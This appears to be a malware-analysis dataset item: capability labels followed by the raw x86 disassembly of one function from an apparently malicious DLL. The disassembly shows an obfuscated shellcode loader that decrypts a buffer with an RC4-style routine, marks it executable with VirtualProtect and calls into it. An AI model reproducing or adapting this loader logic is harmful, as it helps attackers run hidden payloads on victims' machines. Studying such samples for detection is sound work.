Function at 0x10001304
Capabilities:
Allocate or change rwx memory
Check if file exists
Create thread
Encode data using xor
Enumerate files on windows
Execute shellcode via indirect call
Get graphical window text
Query environment variable
Read file on windows
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5a4
mov eax, dword [0x1001a178]
xor eax, esp
mov dword [esp + 0x5a0], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
push 4
pop esi
push esi
mov dword [esp + 0x1c], eax
call fcn.10003c64
push esi
mov dword [esp + 0x28], eax
call fcn.10003c64
push esi
mov dword [esp + 0x30], eax
call fcn.10003c64
add esp, 0xc
push 0x1c
push 0x1001c3f4
push 0x1001b08c
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x1000137b
push 0x104
push 0x1001c660
push dword [0x1001c3f8]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [esp + 0x38]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
push dword [esp + 0x38]
mov dword [esp + 0x14], eax
fild dword [esp + 0x14]
push 0x4b
push 0x33
push 0x91b
fstp qword [0x1001b0b0]
call dword [sym.imp.GDI32.dll_CreateEllipticRgn]
push 2
xor eax, eax
mov word [esp + 0x468], ax
inc eax
mov word [esp + 0x46a], ax
pop eax
push 3
mov word [esp + 0x46c], ax
pop eax
push 5
mov word [esp + 0x46e], ax
pop eax
push 6
mov word [esp + 0x472], ax
pop eax
push 7
mov word [esp + 0x474], ax
pop eax
push 8
mov word [esp + 0x476], ax
pop eax
push 9
mov word [esp + 0x478], ax
pop eax
push 0xa
mov word [esp + 0x47a], ax
pop eax
push 0xb
mov word [esp + 0x47c], ax
pop eax
push 0xc
mov word [esp + 0x47e], ax
pop eax
push 0xd
mov word [esp + 0x480], ax
pop eax
push 0xe
mov word [esp + 0x482], ax
pop eax
push 0xf
mov word [esp + 0x484], ax
pop eax
push 0x10
mov word [esp + 0x486], ax
pop eax
push 0x11
mov word [esp + 0x488], ax
pop eax
push 0x12
mov word [esp + 0x48a], ax
pop eax
push 0x13
mov word [esp + 0x48c], ax
pop eax
push 0x14
mov word [esp + 0x48e], ax
pop eax
push 0x15
mov word [esp + 0x490], ax
pop eax
push 0x17
mov word [esp + 0x492], ax
pop eax
push 0x18
mov word [esp + 0x494], ax
pop eax
push 0x19
mov word [esp + 0x496], ax
mov word [esp + 0x470], si
pop eax
push 0x1a
mov word [esp + 0x498], ax
pop eax
push 0x1b
mov word [esp + 0x49a], ax
pop eax
push 0x1c
mov word [esp + 0x49c], ax
pop eax
push 0x1d
mov word [esp + 0x49e], ax
pop eax
mov word [esp + 0x49c], ax
push 0xa
lea eax, [esp + 0x480]
push eax
lea eax, [esp + 0x46c]
push eax
call fcn.10002c7d
fld dword [0x1001c764]
movzx eax, word [esp + 0x484]
fadd st(0), st(0)
add esp, 0xc
mov dword [0x1001b0ac], eax
mov eax, dword [0x1001b098]
fstp dword [esp + 0x10]
push 0x41
fld dword [esp + 0x14]
pop ecx
fld qword [0x10016548]
mov esi, 0x1001c660
lea edi, [esp + 0x4a0]
rep movsd dword es:[edi], dword [esi]
cdq
mov ecx, 0x2176
idiv ecx
sub dword [0x1001b098], edx
call fcn.1000dfaa
fstp dword [esp + 0x10]
fld dword [esp + 0x10]
fcomp dword [0x10016540]
fnstsw ax
test ah, 1
jne 0x10001570
mov eax, dword [0x1001b08c]
cdq
mov ecx, 0x34d
idiv ecx
neg edx
mov dword [0x1001b098], edx
mov esi, 0x1001c660
push esi
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
push str.IndexerVolumeGuid
push esi
push str._s_s
push esi
call fcn.10002526
add esp, 0x10
mov esi, 0x104
push esi
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edi, edi
mov dword [0x1001c450], eax
cmp eax, edi
jne 0x100015c6
cmp dword [0x1001b0a8], 0xfffffffd
jne 0x100015c6
push 1
push str.ruwamkhfwkejrz
push edi
push edi
call dword [sym.imp.USER32.dll_MessageBoxW]
mov dword [0x1001b0a8], eax
lea eax, [esp + 0x4a0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathA]
lea eax, [esp + 0x4a0]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x100015de
mov ecx, dword [esp + 0x20]
sub eax, edx
push esi
mov dword [ecx], eax
call fcn.10002d1b
pop ecx
mov dword [str.7vyrwr], eax
cmp eax, edi
je 0x10001622
push esi
push eax
push str.cLwDrmrCLDF
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
test eax, eax
jns 0x1000161c
fadd qword [0x10016538]
fstp qword [0x1001b0b0]
push 0xf
pop esi
mov dword [esp + 0x7c], edi
mov edi, str.eNSjDkTLgyjqXEI
push edi
lea eax, [esp + 0x70]
mov dword [esp + 0x84], esi
mov byte [esp + 0x70], 0
call fcn.100021c1
test al, al
lea eax, [esp + 0x6c]
je 0x10001659
sub edi, eax
push esi
push edi
mov edi, eax
call fcn.100021fc
jmp 0x1000169c
call fcn.10002185
test al, al
je 0x1000169c
cmp dword [esp + 0x80], 0x10
mov eax, dword [esp + 0x6c]
jae 0x10001674
lea eax, [esp + 0x6c]
mov esi, edi
mov edi, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp dword [esp + 0x80], 0x10
mov eax, dword [esp + 0x6c]
mov dword [esp + 0x7c], 0xf
jae 0x10001698
lea eax, [esp + 0x6c]
mov byte [eax + 0xf], 0
push 0xc
call fcn.10003c64
mov esi, eax
mov eax, dword [esp + 0x80]
add eax, eax
push eax
mov dword [esp + 0x18], esi
call fcn.1000250c
mov dword [esi + 8], eax
mov eax, dword [esp + 0x18]
lea edi, [esp + 0x90]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, eax
lea edi, [esp + 0x30]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
xor edi, edi
pop ecx
pop ecx
cmp dword [eax], edi
ja 0x100016e1
mov eax, 0xc00000f0
jmp 0x100016fc
mov eax, dword [esp + 0x88]
add eax, 7
and eax, 0xfffffff8
add eax, 8
cmp dword [esp + 0x2c], eax
sbb eax, eax
and eax, 0xc0000022
push 0x1001c414
push dword [esp + 0x2c]
mov dword [0x1001b09c], eax
call dword [sym.imp.USER32.dll_LoadMenuA]
cmp eax, edi
je 0x10001719
mov dword [0x1001c76c], eax
push 0xfffffffffffffff5
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push edi
push 1
push edi
push 3
push 0xc0000000
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CreateConsoleScreenBuffer]
cmp esi, 0xffffffff
je 0x10001792
cmp eax, 0xffffffff
je 0x10001792
xor eax, eax
push 0x4f
mov word [esp + 0x2e], ax
mov word [esp + 0x2c], ax
inc eax
mov word [esp + 0x32], ax
pop eax
push 2
mov word [esp + 0x30], ax
pop eax
push 0x50
mov word [esp + 0x16], ax
pop eax
mov word [esp + 0x10], ax
xor eax, eax
mov word [esp + 0x14], ax
mov word [esp + 0x16], ax
lea eax, [esp + 0x28]
push eax
push dword [esp + 0x18]
lea eax, [esp + 0x1e8]
push dword [esp + 0x18]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
jmp 0x10001794
xor eax, eax
push 0x1001b0ac
push edi
mov esi, 0x1001b0b8
push esi
push 0x10001088
mov dword [0x1001c774], eax
push edi
lea eax, [esp + 0x1f4]
push edi
mov dword [0x1001c768], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x1001c410], eax
lea eax, [esp + 0xa0]
push eax
push 0x100162e8
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov edi, eax
cmp edi, 0xffffffff
jmp 0x100017f2
push str.DysAzImsujbVad
lea eax, [esp + 0xd0]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x1000180e
lea eax, [esp + 0xa0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x100017dd
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0x1001c458
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push 0xa
mov dword [0x1001b098], 0x84
call fcn.1000250c
push 0x20
mov dword [0x1001c3f0], eax
call fcn.10003c64
push 8
pop ecx
mov edx, eax
push 1
push dword [0x1001c3f0]
xor eax, eax
mov edi, edx
push edx
rep stosd dword es:[edi], eax
call sym.dvywwaahx.dll_actkkupjqmqba
push 0
push 0x40
push 0x8002
push 0x1001c660
call fcn.10003be5
mov edi, eax
add esp, 0x24
mov dword [esp + 0x10], edi
cmp edi, 0xffffffff
jne 0x10001896
xor ebx, ebx
push 1
xor edi, edi
lea esi, [esp + 0x70]
call fcn.100020b8
mov ecx, dword [esp + 0x5ac]
pop edi
pop esi
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.10002517
mov esp, ebp
pop ebp
ret
push 0x105
push str.c:yfyxjkhncvgqcfjmMQqChyYHfMnraCHBCGaBXvUBR.txt
push esi
call dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
push str.NQvEBQEdJGLAqIWvo
call fcn.1000374a
push eax
call fcn.1000128a
push 2
push 0
push edi
call fcn.10003811
lea eax, [esp + 0x54]
push eax
call fcn.10003c13
add esp, 0x18
lea eax, [esp + 0x40]
push 0xea
push eax
call fcn.100025aa
pop ecx
push eax
push str.lcdwkpirvxdeiugfi__s__d
push esi
call fcn.10002526
push edi
call fcn.10002afb
mov ecx, dword [esp + 0x30]
mov dword [ecx], eax
push 8
xor eax, eax
pop ecx
lea edi, [esp + 0x60]
rep stosd dword es:[edi], eax
mov eax, 0x400
push eax
mov dword [esp + 0x64], str.lqbnvcjlt_bgSsowHDPZLeCjG
mov dword [esp + 0x74], str.CiwthDrmjhtnkGWpkeumtllkrlwme
mov dword [0x1001b0ac], eax
call fcn.1000250c
lea edx, [esp + 0x64]
mov dword [str.yYPk1GH2PWNcAwXcdt4lLQZXrmuOiFXJopX4A3FBFr4qVOL6v1yoEhKRwXG], eax
call fcn.1000110a
push 0
push 0
push dword [esp + 0x30]
call fcn.10003811
add esp, 0x24
call sym.dvywwaahx.dll_buvuuacyfubg
mov dword [str.7vyrwr], eax
mov eax, dword [esp + 0x1c]
push dword [eax]
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [esp + 0x24]
mov dword [edi], eax
mov eax, dword [0x1001b08c]
imul eax, eax, 0xfffffbc3
xor eax, 0xa62
add eax, 0x4fee0
push 0x1001b0ac
mov dword [0x1001b098], eax
push 1
lea eax, [esp + 0x90]
push eax
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
test eax, eax
jne 0x1000199f
and dword [0x1001b0ac], eax
call dword [sym.imp.COMCTL32.dll_InitCommonControls]
xor eax, eax
push eax
push eax
push eax
push eax
push 0x64
push 0xea
push eax
push eax
push 0x2765
push esi
push str.FniLhEzxtySSV
push 0x20
call dword [sym.imp.USER32.dll_CreateWindowExA]
push 0x41
mov dword [0x1001c770], eax
call fcn.10002e84
pop ecx
test eax, eax
je 0x100019dc
mov al, 0x41
jmp 0x100019f4
xor eax, eax
push 0x41
pop ecx
cmp cx, word [eax + str.________.]
je 0x100019d8
add eax, 2
cmp eax, 0x40
jb 0x100019de
mov al, 0x3b
cmp al, 4
jne 0x100019ff
and dword [0x1001c770], 0
lea eax, [esp + 0x34]
push eax
mov eax, dword [esp + 0x20]
push 0x40
push dword [eax]
push dword [edi]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [esp + 0x1c]
push dword [eax]
push dword [edi]
push dword [esp + 0x18]
call fcn.1000346b
add esp, 0xc
push 0
push dword [0x1001c770]
call dword [sym.imp.USER32.dll_GetWindowLongA]
mov edi, str.oFazRjhzBtlmpN
push edi
mov dword [0x1001b09c], eax
mov dword [0x1001b098], 0x2e
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
mov dword [0x1001c774], eax
test eax, eax
je 0x10001a66
push edi
call sym.dvywwaahx.dll_NTOctSEmXfIzF
pop ecx
mov dword [0x1001c768], eax
call dword [sym.imp.USER32.dll_GetActiveWindow]
push 0x104
push esi
push eax
mov dword [0x1001c770], eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x10001aa6
mov cl, byte [0x1001b0b8]
xor eax, eax
jmp 0x10001a94
movsx ecx, cl
add eax, ecx
inc esi
mov cl, byte [esi]
test cl, cl
jne 0x10001a8c
cdq
mov ecx, 0x7f7
idiv ecx
mov dword [0x1001b09c], edx
fld qword [0x10016530]
mov ecx, dword [0x1001b098]
xor edx, edx
fstp qword [0x1001b0b0]
mov dword [ebx], edx
cmp ecx, edx
jle 0x10001ac7
mov ecx, 0xf41
jmp 0x10001ad1
fld dword [esp + 0x34]
fstp dword [0x1001b094]
mov eax, dword [ebx]
mov esi, dword [esp + 0x18]
mov dword [esi + eax*4], eax
cmp ecx, 0xffff1b1a
jge 0x10001ae7
mov ecx, 0xf2a
inc dword [ebx]
cmp dword [ebx], 0x100
jb 0x10001abc
mov dword [ebx], edx
mov dword [esp + 0x14], edx
mov esi, 0xff
mov eax, dword [ebx]
mov edx, dword [esp + 0x18]
mov edi, dword [esp + 0x20]
lea edx, [edx + eax*4]
mov dword [esp + 0x10], edx
xor edx, edx
div dword [edi]
mov edi, dword [0x1001b08c]
movsx eax, byte [esp + edx + 0x4a0]
mov edx, dword [esp + 0x10]
add eax, dword [edx]
add eax, dword [esp + 0x14]
and eax, esi
mov dword [esp + 0x14], eax
xor eax, eax
test edi, edi
sete al
imul edi, edi, 0x7f
imul ecx, eax
mov eax, dword [edx]
imul ecx, ecx, 0x18
xor edi, 0xffffcf8e
sub ecx, edi
mov edi, dword [esp + 0x14]
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x18]
lea eax, [eax + edi*4]
mov edi, dword [eax]
mov dword [edx], edi
mov edx, dword [esp + 0x10]
mov dword [eax], edx
inc dword [ebx]
cmp dword [ebx], 0x100
jb 0x10001afc
mov edx, dword [esp + 0x24]
xor eax, eax
xor edi, edi
mov dword [0x1001b098], ecx
mov dword [0x1001b070], edi
cmp dword [edx], eax
je 0x10001ce5
mov edx, dword [esp + 0x1c]
and dword [ebx], eax
cmp dword [edx], eax
jbe 0x10001c1d
jmp 0x10001b9c
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x18]
imul ecx, ecx, 0x5c0
inc eax
and eax, esi
mov dword [esp + 0x10], eax
lea eax, [edx + eax*4]
mov edx, dword [eax]
add edi, edx
mov dword [esp + 0x20], edx
mov edx, dword [esp + 0x18]
mov dword [esp + 0x14], eax
and edi, esi
mov edx, dword [edx + edi*4]
mov dword [eax], edx
mov edx, dword [esp + 0x18]
mov eax, dword [esp + 0x20]
mov dword [edx + edi*4], eax
mov eax, dword [esp + 0x24]
mov eax, dword [eax]
add eax, dword [ebx]
sub ecx, 0x9e426
mov dword [esp + 0x28], eax
mov eax, dword [esp + 0x14]
mov eax, dword [eax]
add eax, dword [esp + 0x20]
or ecx, 0x155
and eax, esi
mov dl, byte [edx + eax*4]
mov eax, dword [esp + 0x28]
xor byte [eax], dl
mov edx, dword [esp + 0x1c]
sub ecx, 0xa14a
inc dword [ebx]
mov eax, dword [ebx]
cmp eax, dword [edx]
jb 0x10001b98
mov dword [0x1001b070], edi
mov dword [0x1001b098], ecx
lea eax, [esp + 0x88]
push eax
call fcn.10003c13
lea eax, [esp + 0x8c]
push eax
call fcn.10003b6d
push eax
call fcn.10003561
add esp, 0xc
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push esi
push 0x1001b0b8
call fcn.1000a920
fld dword [0x1001c764]
add esp, 0xc
call fcn.1000dee0
fstp dword [esp + 0x28]
fld dword [esp + 0x28]
lea eax, [esp + 0x4a0]
fsub qword [0x10016528]
push eax
push 0x1001c660
lea eax, [esp + 0xa8]
push str.obj_s__s
fstp qword [0x1001b0b0]
push eax
call fcn.10002526
lea eax, [esp + 0xb0]
push eax
call fcn.1000d631
add esp, 0x14
push 0x1001c76c
push str.SOFTWARE_fkeuhfmztaya
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 7
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
test eax, eax
jne 0x10001cce
push 0xe
pop eax
jmp 0x10001cda
mov edi, eax
mov esi, str.gerbrwcylvp
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
xor eax, eax
mov dword [0x1001b0ac], eax
mov eax, dword [esp + 0x24]
call dword [eax]
xor ebx, ebx
inc ebx
jmp 0x10001872